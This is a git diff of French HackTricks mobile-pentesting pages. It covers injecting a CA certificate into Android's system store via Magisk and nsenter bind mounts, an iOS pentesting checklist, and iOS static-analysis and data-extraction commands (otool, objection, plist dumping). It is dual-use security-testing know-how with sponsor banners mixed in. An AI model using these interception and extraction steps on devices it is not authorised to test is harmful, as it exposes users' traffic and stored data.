**changeant l'extension** en `.crt` sur le mobile pour qu'il soit stocké dans le dossier Téléchargements et allez dans `Installer un certificat` -> `Certificat CA` -
+
* Vérifiez que le certificat a été correctement stocké en allant dans `Certificats de confiance` -> `UTILISATEUR` -
+
2. **Le rendre fiable pour le système** : Téléchargez le module Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (un fichier .zip), **glissez-déposez-le** sur le téléphone, allez dans l'application Magics sur le téléphone dans la section **`Modules`**, cliquez sur **`Installer depuis le stockage`**, sélectionnez le module `.zip` et une fois installé, **redémarrez** le téléphone : -
+
* Après le redémarrage, allez dans `Certificats de confiance` -> `SYSTÈME` et vérifiez que le certificat Postswigger est présent -
+
## Post Android 14 @@ -140,18 +140,18 @@ echo "System certificate injected" ```bash mount -t tmpfs tmpfs /system/etc/security/cacerts ``` -2. **Préparation des certificats CA** : Après la configuration du répertoire inscriptible, les certificats CA que l'on a l'intention d'utiliser doivent être copiés dans ce répertoire. Cela peut impliquer de copier les certificats par défaut depuis `/apex/com.android.conscrypt/cacerts/`. Il est essentiel d'ajuster les autorisations et les étiquettes SELinux de ces certificats en conséquence. +2. **Préparation des certificats CA** : Suite à la configuration du répertoire inscriptible, les certificats CA que l'on a l'intention d'utiliser doivent être copiés dans ce répertoire. Cela peut impliquer de copier les certificats par défaut depuis `/apex/com.android.conscrypt/cacerts/`. Il est essentiel d'ajuster les autorisations et les étiquettes SELinux de ces certificats en conséquence. 3. **Montage de liaison pour Zygote** : En utilisant `nsenter`, on entre dans l'espace de montage de Zygote. Zygote, étant le processus responsable du lancement des applications Android, nécessite cette étape pour garantir que toutes les applications initiées par la suite utilisent les certificats CA nouvellement configurés. La commande utilisée est : ```bash nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` Cela garantit que chaque nouvelle application lancée respectera la configuration des certificats CA mise à jour. -4. **Application des modifications aux applications en cours d'exécution**: Pour appliquer les modifications aux applications déjà en cours d'exécution, `nsenter` est à nouveau utilisé pour entrer individuellement dans l'espace de noms de chaque application et effectuer un montage de liaison similaire. La commande nécessaire est: +4. **Application des modifications aux applications en cours d'exécution**: Pour appliquer les modifications aux applications déjà en cours d'exécution, `nsenter` est à nouveau utilisé pour entrer individuellement dans l'espace de nom de chaque application et effectuer un montage de liaison similaire. La commande nécessaire est: ```bash nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` -5. **Approche alternative - Redémarrage doux**: Une méthode alternative consiste à effectuer le montage de liaison sur le processus `init` (PID 1) suivi d'un redémarrage doux du système d'exploitation avec les commandes `stop && start`. Cette approche propagerait les modifications à travers tous les espaces de noms, évitant ainsi la nécessité de traiter individuellement chaque application en cours d'exécution. Cependant, cette méthode est généralement moins préférée en raison de l'inconvénient du redémarrage. +5. **Approche alternative - Redémarrage doux**: Une méthode alternative consiste à effectuer le montage de liaison sur le processus `init` (PID 1), suivi d'un redémarrage doux du système d'exploitation avec les commandes `stop && start`. Cette approche propagerait les modifications à travers tous les espaces de noms, évitant ainsi la nécessité de traiter individuellement chaque application en cours d'exécution. Cependant, cette méthode est généralement moins préférée en raison de l'inconvénient du redémarrage. ## Références diff --git a/mobile-pentesting/ios-pentesting-checklist.md b/mobile-pentesting/ios-pentesting-checklist.md index c1acf5368..4187dbc6e 100644 --- a/mobile-pentesting/ios-pentesting-checklist.md +++ b/mobile-pentesting/ios-pentesting-checklist.md @@ -1,9 +1,9 @@ # Liste de vérification du pentesting iOS -
+
\ -Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement** des flux de travail alimentés par les outils communautaires les plus avancés au monde.\ +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -17,7 +17,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. @@ -36,49 +36,49 @@ Autres façons de soutenir HackTricks : * [ ] Préparez votre environnement en lisant [**Environnement de test iOS**](ios-pentesting/ios-testing-environment.md) * [ ] Lisez toutes les sections de [**Analyse initiale iOS**](ios-pentesting/#initial-analysis) pour apprendre les actions courantes pour tester une application iOS -### Stockage de données +### Stockage des données -* [ ] Les fichiers **Plist** peuvent être utilisés pour stocker des informations sensibles. -* [ ] **Core Data** (base de données SQLite) peut stocker des informations sensibles. -* [ ] Les **bases de données Yap** (base de données SQLite) peuvent stocker des informations sensibles. -* [ ] **Firebase** mauvaise configuration. -* [ ] Les **bases de données Realm** peuvent stocker des informations sensibles. -* [ ] Les **bases de données Couchbase Lite** peuvent stocker des informations sensibles. -* [ ] Les **cookies binaires** peuvent stocker des informations sensibles -* [ ] Les données de **cache** peuvent stocker des informations sensibles -* [ ] Les **instantanés automatiques** peuvent enregistrer des informations sensibles visuelles +* [ ] Les [**fichiers Plist**](ios-pentesting/#plist) peuvent être utilisés pour stocker des informations sensibles. +* [ ] [**Core Data**](ios-pentesting/#core-data) (base de données SQLite) peut stocker des informations sensibles. +* [ ] Les [**bases de données Yap**](ios-pentesting/#yapdatabase) (base de données SQLite) peuvent stocker des informations sensibles. +* [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) mauvaise configuration. +* [ ] Les [**bases de données Realm**](ios-pentesting/#realm-databases) peuvent stocker des informations sensibles. +* [ ] Les [**bases de données Couchbase Lite**](ios-pentesting/#couchbase-lite-databases) peuvent stocker des informations sensibles. +* [ ] Les [**cookies binaires**](ios-pentesting/#cookies) peuvent stocker des informations sensibles. +* [ ] Les données de **cache** peuvent stocker des informations sensibles. +* [ ] Les **instantanés automatiques** peuvent enregistrer des informations sensibles visuelles. * [ ] Le **trousseau** est généralement utilisé pour stocker des informations sensibles qui peuvent être laissées lors de la revente du téléphone. -* [ ] En résumé, vérifiez simplement les informations sensibles enregistrées par l'application dans le système de fichiers +* [ ] En résumé, vérifiez simplement les informations sensibles enregistrées par l'application dans le système de fichiers. ### Claviers -* [ ] L'application permet-elle d'utiliser des **claviers personnalisés**? -* [ ] Vérifiez si des informations sensibles sont enregistrées dans les **fichiers de cache des claviers** +* [ ] L'application permet-elle d'utiliser des [**claviers personnalisés**](ios-pentesting/#custom-keyboards-keyboard-cache) ? +* [ ] Vérifiez si des informations sensibles sont enregistrées dans les [**fichiers de cache des claviers**](ios-pentesting/#custom-keyboards-keyboard-cache) ### **Journaux** -* [ ] Vérifiez si des **informations sensibles sont enregistrées** dans les **journaux** +* [ ] Vérifiez si des [**informations sensibles sont enregistrées**](ios-pentesting/#logs) ### Sauvegardes -* [ ] Les **sauvegardes** peuvent être utilisées pour **accéder aux informations sensibles** enregistrées dans le système de fichiers (vérifiez le point initial de cette liste de contrôle) -* [ ] De plus, les **sauvegardes** peuvent être utilisées pour **modifier certaines configurations de l'application**, puis **restaurer** la sauvegarde sur le téléphone, et lorsque la **configuration modifiée** est **chargée**, certaines fonctionnalités (de sécurité) peuvent être **contournées** +* [ ] Les [**sauvegardes**](ios-pentesting/#backups) peuvent être utilisées pour **accéder aux informations sensibles** enregistrées dans le système de fichiers (vérifiez le point initial de cette liste de contrôle) +* [ ] De plus, les [**sauvegardes**](ios-pentesting/#backups) peuvent être utilisées pour **modifier certaines configurations de l'application**, puis **restaurer** la sauvegarde sur le téléphone, et lorsque la **configuration modifiée** est **chargée**, certaines fonctionnalités (de sécurité) peuvent être **contournées** ### **Mémoire des applications** -* [ ] Vérifiez les informations sensibles dans la **mémoire de l'application** +* [ ] Vérifiez les informations sensibles dans la [**mémoire de l'application**](ios-pentesting/#testing-memory-for-sensitive-data) ### **Cryptographie cassée** -* [ ] Vérifiez si vous pouvez trouver des **mots de passe utilisés pour la cryptographie** +* [ ] Vérifiez si vous pouvez trouver des [**mots de passe utilisés pour la cryptographie**](ios-pentesting/#broken-cryptography) * [ ] Vérifiez l'utilisation d'**algorithmes obsolètes/faibles** pour envoyer/stoker des données sensibles -* [ ] **Accrochez et surveillez les fonctions de cryptographie** +* [ ] [**Accrochez et surveillez les fonctions de cryptographie**](ios-pentesting/#broken-cryptography) ### **Authentification locale** -* [ ] Si une **authentification locale** est utilisée dans l'application, vous devriez vérifier comment l'authentification fonctionne. -* [ ] Si elle utilise le **Cadre d'authentification locale**, elle pourrait être facilement contournée -* [ ] Si elle utilise une **fonction qui peut être contournée dynamiquement**, vous pourriez créer un script frida personnalisé +* [ ] Si une [**authentification locale**](ios-pentesting/#local-authentication) est utilisée dans l'application, vérifiez comment l'authentification fonctionne. +* [ ] Si elle utilise le [**Cadre d'authentification locale**](ios-pentesting/#local-authentication-framework), elle pourrait être facilement contournée +* [ ] Si elle utilise une [**fonction qui peut être contournée dynamiquement**](ios-pentesting/#local-authentication-using-keychain), vous pourriez créer un script frida personnalisé ### Exposition de fonctionnalités sensibles via IPC @@ -89,7 +89,7 @@ Autres façons de soutenir HackTricks : * [ ] Vérifiez si l'application **ne vérifie pas et ne désinfecte pas** les entrées des utilisateurs via le schéma personnalisé et qu'une **vulnérabilité peut être exploitée** * [ ] Vérifiez si l'application **expose une action sensible** qui peut être appelée de n'importe où via le schéma personnalisé * [**Liens universels**](ios-pentesting/#universal-links) -* [ ] Vérifiez si l'application **enregistre un protocole/schéma universel** +* [ ] Vérifiez si l'application **enregistre un protocole/un schéma universel** * [ ] Vérifiez le fichier `apple-app-site-association` * [ ] Vérifiez si l'application **ne vérifie pas et ne désinfecte pas** les entrées des utilisateurs via le schéma personnalisé et qu'une **vulnérabilité peut être exploitée** * [ ] Vérifiez si l'application **expose une action sensible** qui peut être appelée de n'importe où via le schéma personnalisé @@ -100,12 +100,12 @@ Autres façons de soutenir HackTricks : * [ ] Vérifiez si l'application **utilise les données du presse-papiers général pour quelque chose** * [ ] Surveillez le presse-papiers pour voir si des **données sensibles sont copiées** * [**Extensions d'application**](ios-pentesting/ios-app-extensions.md) -* [ ] L'application **utilise-t-elle une extension**? +* [ ] L'application **utilise-t-elle une extension** ? * [**WebViews**](ios-pentesting/ios-webviews.md) * [ ] Vérifiez quel type de webviews est utilisé * [ ] Vérifiez l'état de **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`** * [ ] Vérifiez si la webview peut **accéder aux fichiers locaux** avec le protocole **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`) -* [ ] Vérifiez si Javascript peut accéder aux **méthodes natives** (`JSContext`, `postMessage`) +* [ ] Vérifiez si JavaScript peut accéder aux **méthodes natives** (`JSContext`, `postMessage`) ### Communication Réseau * [ ] Effectuer une [**attaque de l'homme du milieu sur la communication**](ios-pentesting/#network-communication) et rechercher des vulnérabilités web. @@ -132,12 +132,12 @@ Autres moyens de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ diff --git a/mobile-pentesting/ios-pentesting/README.md b/mobile-pentesting/ios-pentesting/README.md index cd0a9ae0a..770ba5b5f 100644 --- a/mobile-pentesting/ios-pentesting/README.md +++ b/mobile-pentesting/ios-pentesting/README.md @@ -1,9 +1,9 @@ # iOS Pentesting -
+
\ -Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils de la communauté **les plus avancés** au monde.\ +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\ Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -17,8 +17,8 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. @@ -38,7 +38,7 @@ Sur cette page, vous trouverez des informations sur le **simulateur iOS**, les * ## Analyse initiale -### Opérations de test iOS de base +### Opérations de test de base sur iOS Pendant le test, **plusieurs opérations seront suggérées** (connexion à l'appareil, lecture/écriture/téléchargement de fichiers, utilisation de certains outils...). Par conséquent, si vous ne savez pas comment effectuer l'une de ces actions, veuillez **commencer par lire la page** : @@ -48,7 +48,7 @@ Pendant le test, **plusieurs opérations seront suggérées** (connexion à l'ap {% hint style="info" %} Pour les étapes suivantes, **l'application doit être installée** sur l'appareil et vous devez déjà avoir obtenu le **fichier IPA** de l'application.\ -Consultez la page [Opérations de test iOS de base](basic-ios-testing-operations.md) pour apprendre comment faire cela. +Lisez la page [Opérations de test de base sur iOS](basic-ios-testing-operations.md) pour apprendre comment faire cela. {% endhint %} ### Analyse statique de base @@ -57,7 +57,7 @@ Il est recommandé d'utiliser l'outil [**MobSF**](https://github.com/MobSF/Mobil Identification des **protections présentes dans le binaire** : -* **PIE (Executable à adresses indépendantes)** : Lorsqu'il est activé, l'application se charge à une adresse mémoire aléatoire à chaque lancement, ce qui rend plus difficile de prédire son adresse mémoire initiale. +* **PIE (Executable à adresses indépendantes)** : Lorsqu'il est activé, l'application se charge à une adresse mémoire aléatoire à chaque lancement, rendant plus difficile la prédiction de son adresse mémoire initiale. ```bash otool -hv | grep PIE # Il devrait inclure le drapeau PIE @@ -67,7 +67,7 @@ otool -hv | grep PIE # Il devrait inclure le drapeau PIE ```bash otool -I -v | grep stack_chk # Il devrait inclure les symboles : stack_chk_guard et stack_chk_fail ``` -* **ARC (Comptage automatique des références)** : Pour prévenir les défauts courants de corruption de mémoire +* **ARC (Comptage automatique des références)** : Pour prévenir les failles courantes de corruption de mémoire ```bash otool -I -v | grep objc_release # Il devrait inclure le symbole _objc_release @@ -145,7 +145,7 @@ grep -iER "_vsprintf" ### Analyse dynamique de base -Consultez l'analyse dynamique effectuée par [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Vous devrez naviguer à travers les différentes vues et interagir avec elles, mais il accrochera plusieurs classes en effectuant d'autres actions et préparera un rapport une fois que vous aurez terminé. +Consultez l'analyse dynamique effectuée par [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Vous devrez naviguer à travers les différentes vues et interagir avec elles, mais il accrochera plusieurs classes et fera d'autres choses, puis préparera un rapport une fois que vous aurez terminé. ### Liste des applications installées @@ -175,29 +175,29 @@ Apprenez à **énumérer les composants de l'application** et comment **accroche La structure d'un fichier **IPA** est essentiellement celle d'un **paquet compressé**. En renommant son extension en `.zip`, il peut être **décompressé** pour révéler son contenu. Dans cette structure, un **Bundle** représente une application entièrement empaquetée prête pour l'installation. À l'intérieur, vous trouverez un répertoire nommé `.app`, qui encapsule les ressources de l'application. * **`Info.plist`**: Ce fichier contient des détails de configuration spécifiques de l'application. -* **`_CodeSignature/`**: Ce répertoire inclut un fichier plist contenant une signature, assurant l'intégrité de tous les fichiers dans le bundle. +* **`_CodeSignature/`**: Ce répertoire inclut un fichier plist qui contient une signature, assurant l'intégrité de tous les fichiers dans le bundle. * **`Assets.car`**: Une archive compressée qui stocke des fichiers d'actifs tels que des icônes. * **`Frameworks/`**: Ce dossier contient les bibliothèques natives de l'application, qui peuvent être sous forme de fichiers `.dylib` ou `.framework`. -* **`PlugIns/`**: Cela peut inclure des extensions de l'application, connues sous le nom de fichiers `.appex`, bien qu'ils ne soient pas toujours présents. -* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Il est utilisé pour sauvegarder les données permanentes de votre application pour une utilisation hors ligne, mettre en cache des données temporaires et ajouter une fonctionnalité d'annulation à votre application sur un seul appareil. Pour synchroniser des données sur plusieurs appareils dans un seul compte iCloud, Core Data reflète automatiquement votre schéma dans un conteneur CloudKit. +* **`PlugIns/`**: Cela peut inclure des extensions de l'application, appelées fichiers `.appex`, bien qu'ils ne soient pas toujours présents. +* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Il est utilisé pour sauvegarder les données permanentes de votre application pour une utilisation hors ligne, mettre en cache des données temporaires, et ajouter des fonctionnalités d'annulation à votre application sur un seul appareil. Pour synchroniser les données sur plusieurs appareils dans un seul compte iCloud, Core Data reflète automatiquement votre schéma dans un conteneur CloudKit. * [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Le fichier `PkgInfo` est une façon alternative de spécifier les codes de type et de créateur de votre application ou bundle. * **en.lproj, fr.proj, Base.lproj**: Sont les packs de langues qui contiennent des ressources pour ces langues spécifiques, et une ressource par défaut au cas où une langue n'est pas prise en charge. -* **Sécurité**: Le répertoire `_CodeSignature/` joue un rôle critique dans la sécurité de l'application en vérifiant l'intégrité de tous les fichiers regroupés via des signatures numériques. +* **Sécurité**: Le répertoire `_CodeSignature/` joue un rôle critique dans la sécurité de l'application en vérifiant l'intégrité de tous les fichiers regroupés grâce à des signatures numériques. * **Gestion des actifs**: Le fichier `Assets.car` utilise la compression pour gérer efficacement les actifs graphiques, crucial pour optimiser les performances de l'application et réduire sa taille globale. -* **Cadres et PlugIns**: Ces répertoires soulignent la modularité des applications iOS, permettant aux développeurs d'inclure des bibliothèques de code réutilisables (`Frameworks/`) et d'étendre la fonctionnalité de l'application (`PlugIns/`). +* **Frameworks et PlugIns**: Ces répertoires soulignent la modularité des applications iOS, permettant aux développeurs d'inclure des bibliothèques de code réutilisables (`Frameworks/`) et d'étendre la fonctionnalité de l'application (`PlugIns/`). * **Localisation**: La structure prend en charge plusieurs langues, facilitant la portée mondiale de l'application en incluant des ressources pour des packs de langues spécifiques. **Info.plist** -Le **Info.plist** sert de pierre angulaire pour les applications iOS, encapsulant les données de configuration clés sous forme de paires **clé-valeur**. Ce fichier est requis non seulement pour les applications, mais aussi pour les extensions d'application et les frameworks inclus. Il est structuré en XML ou en format binaire et contient des informations critiques allant des autorisations d'application aux configurations de sécurité. Pour une exploration détaillée des clés disponibles, on peut se référer à la [**Documentation du développeur Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc). +Le **Info.plist** sert de pierre angulaire pour les applications iOS, encapsulant les données de configuration clés sous forme de paires **clé-valeur**. Ce fichier est requis non seulement pour les applications, mais aussi pour les extensions d'application et les frameworks inclus. Il est structuré en XML ou en format binaire et contient des informations critiques allant des autorisations d'application aux configurations de sécurité. Pour une exploration détaillée des clés disponibles, on peut se référer à la [**Documentation du développeur Apple**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc). Pour ceux qui souhaitent travailler avec ce fichier dans un format plus accessible, la conversion en XML peut être réalisée facilement en utilisant `plutil` sur macOS (disponible nativement sur les versions 10.2 et ultérieures) ou `plistutil` sur Linux. Les commandes de conversion sont les suivantes: -- **Pour macOS**: +* **Pour macOS**: ```bash $ plutil -convert xml1 Info.plist ``` -- **Pour Linux**: +* **Pour Linux**: ```bash $ apt install libplist-utils $ plistutil -i Info.plist -o Info_xml.plist @@ -210,7 +210,7 @@ $ grep -i Info.plist Dans l'environnement iOS, les répertoires sont spécifiquement désignés pour les **applications système** et les **applications installées par l'utilisateur**. Les applications système résident dans le répertoire `/Applications`, tandis que les applications installées par l'utilisateur sont placées sous `/private/var/containers/`. Ces applications se voient attribuer un identifiant unique connu sous le nom d'**UUID de 128 bits**, rendant la tâche de localiser manuellement le dossier d'une application difficile en raison du caractère aléatoire des noms de répertoire. -Pour faciliter la découverte du répertoire d'installation d'une application installée par l'utilisateur, l'outil **objection** fournit une commande utile, `env`. Cette commande révèle des informations détaillées sur le répertoire de l'application en question. Voici un exemple d'utilisation de cette commande: +Pour faciliter la découverte du répertoire d'installation d'une application installée par l'utilisateur, l'outil **objection** fournit une commande utile, `env`. Cette commande révèle des informations détaillées sur le répertoire de l'application en question. Voici un exemple de comment utiliser cette commande: ```bash OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env @@ -249,13 +249,13 @@ lsof -p | grep -i "/containers" | head -n 1 * Contient tous les **fichiers qui ne sont pas spécifiques à l'utilisateur**, tels que les **caches**, les **préférences**, les **cookies** et les fichiers de configuration de liste de propriétés (plist). * Les applications iOS utilisent généralement les sous-répertoires `Application Support` et `Caches`, mais l'application peut créer des sous-répertoires personnalisés. * **Library/Caches/** -* Contient des fichiers **mis en cache semi-persistants**. +* Contient des fichiers mis en cache **semi-persistants**. * Invisible pour les utilisateurs et **les utilisateurs ne peuvent pas y écrire**. * Le contenu de ce répertoire n'est **pas sauvegardé**. * Le système d'exploitation peut supprimer automatiquement les fichiers de ce répertoire lorsque l'application ne s'exécute pas et que l'espace de stockage est insuffisant. * **Library/Application Support/** -* Contient des **fichiers persistants nécessaires à l'exécution de l'application**. -* **Invisible** pour les utilisateurs et les utilisateurs ne peuvent pas y écrire. +* Contient des **fichiers persistants** nécessaires au fonctionnement de l'application. +* **Invisible** pour les **utilisateurs** et les utilisateurs ne peuvent pas y écrire. * Le contenu de ce répertoire est **sauvegardé**. * L'application peut désactiver les chemins en définissant `NSURLIsExcludedFromBackupKey`. * **Library/Preferences/** @@ -299,7 +299,7 @@ DVIA-v2: @rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0) [...] ``` -**Vérifier si l'application est chiffrée** +**Vérifiez si l'application est chiffrée** Vérifiez s'il y a une sortie pour : ```bash @@ -307,7 +307,7 @@ otool -l | grep -A 4 LC_ENCRYPTION_INFO ``` **Désassemblage du binaire** -Désassemblez la section du texte : +Désassemblez la section de texte : ```bash otool -tV DVIA-v2 DVIA-v2: @@ -335,7 +335,7 @@ data 0x1003de748 flags 0x80 instanceStart 8 ``` -Pour obtenir un code Objective-C plus compact, vous pouvez utiliser [**class-dump**](http://stevenygard.com/projects/class-dump/): +Pour obtenir un code Objective-C plus compact, vous pouvez utiliser [**class-dump**](http://stevenygard.com/projects/class-dump/) : ```bash class-dump some-app // @@ -363,7 +363,7 @@ double _field2; ``` Cependant, les meilleures options pour désassembler le binaire sont : [**Hopper**](https://www.hopperapp.com/download.html?) et [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/). -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour créer facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ @@ -380,13 +380,13 @@ Pour en savoir plus sur la manière dont iOS stocke les données sur l'appareil, {% endcontent-ref %} {% hint style="warning" %} -Les emplacements suivants pour stocker des informations doivent être vérifiés **juste après l'installation de l'application**, **après avoir vérifié toutes les fonctionnalités** de l'application et même après **s'être déconnecté d'un utilisateur et s'être connecté à un autre**.\ +Les emplacements suivants pour stocker des informations doivent être vérifiés **juste après l'installation de l'application**, **après avoir vérifié toutes les fonctionnalités** de l'application et même après **déconnexion d'un utilisateur et connexion d'un autre**.\ L'objectif est de trouver des **informations sensibles non protégées** de l'application (mots de passe, jetons), de l'utilisateur actuel et des utilisateurs précédemment connectés. {% endhint %} ### Plist -Les fichiers **plist** sont des fichiers XML structurés qui **contiennent des paires clé-valeur**. C'est une façon de stocker des données persistantes, donc parfois vous pouvez trouver **des informations sensibles dans ces fichiers**. Il est recommandé de vérifier ces fichiers après l'installation de l'application et après l'avoir utilisée intensivement pour voir si de nouvelles données sont écrites. +Les fichiers **plist** sont des fichiers XML structurés qui **contiennent des paires clé-valeur**. C'est une façon de stocker des données persistantes, donc parfois vous pouvez trouver des **informations sensibles dans ces fichiers**. Il est recommandé de vérifier ces fichiers après l'installation de l'application et après l'avoir utilisée intensivement pour voir si de nouvelles données sont écrites. La manière la plus courante de persister des données dans les fichiers plist est par l'utilisation de **NSUserDefaults**. Ce fichier plist est enregistré à l'intérieur du bac à sable de l'application dans **`Library/Preferences/.plist`** @@ -394,7 +394,7 @@ La classe [`NSUserDefaults`](https://developer.apple.com/documentation/foundatio Ces données ne peuvent pas être directement consultées via un ordinateur de confiance, mais peuvent être consultées en effectuant une **sauvegarde**. -Vous pouvez **extraire** les informations enregistrées en utilisant **`NSUserDefaults`** en utilisant `ios nsuserdefaults get` d'objection. +Vous pouvez **extraire** les informations enregistrées en utilisant **`NSUserDefaults`** en utilisant la commande `ios nsuserdefaults get` d'objection. Pour trouver tous les plist utilisés par l'application, vous pouvez accéder à `/private/var/mobile/Containers/Data/Application/{APPID}` et exécuter : ```bash @@ -402,25 +402,22 @@ find ./ -name "*.plist" ``` Pour convertir des fichiers du format **XML ou binaire (bplist)** en XML, diverses méthodes sont disponibles en fonction de votre système d'exploitation : -**Pour les utilisateurs de macOS :** -Utilisez la commande `plutil`. C'est un outil intégré dans macOS (10.2+), conçu à cet effet : +**Pour les utilisateurs de macOS :** Utilisez la commande `plutil`. C'est un outil intégré dans macOS (10.2+), conçu à cet effet : ```bash $ plutil -convert xml1 Info.plist ``` -**Pour les utilisateurs de Linux :** -Installez d'abord `libplist-utils`, puis utilisez `plistutil` pour convertir votre fichier : +**Pour les utilisateurs de Linux :** Installez d'abord `libplist-utils`, puis utilisez `plistutil` pour convertir votre fichier : ```bash $ apt install libplist-utils $ plistutil -i Info.plist -o Info_xml.plist ``` -**Dans une session Objection :** -Pour analyser les applications mobiles, une commande spécifique vous permet de convertir directement les fichiers plist : +**Au sein d'une session Objection :** Pour analyser des applications mobiles, une commande spécifique vous permet de convertir directement des fichiers plist : ```bash ios plist cat /private/var/mobile/Containers/Data/Application//Library/Preferences/com.some.package.app.plist ``` ### Core Data -[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) est un framework pour gérer la couche modèle des objets dans votre application. [Core Data peut utiliser SQLite comme son magasin persistant](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), mais le framework lui-même n'est pas une base de données. CoreData n'encrypte pas ses données par défaut. Cependant, une couche d'encryption supplémentaire peut être ajoutée à CoreData. Consultez le [dépôt GitHub](https://github.com/project-imas/encrypted-core-data) pour plus de détails. +[`Core 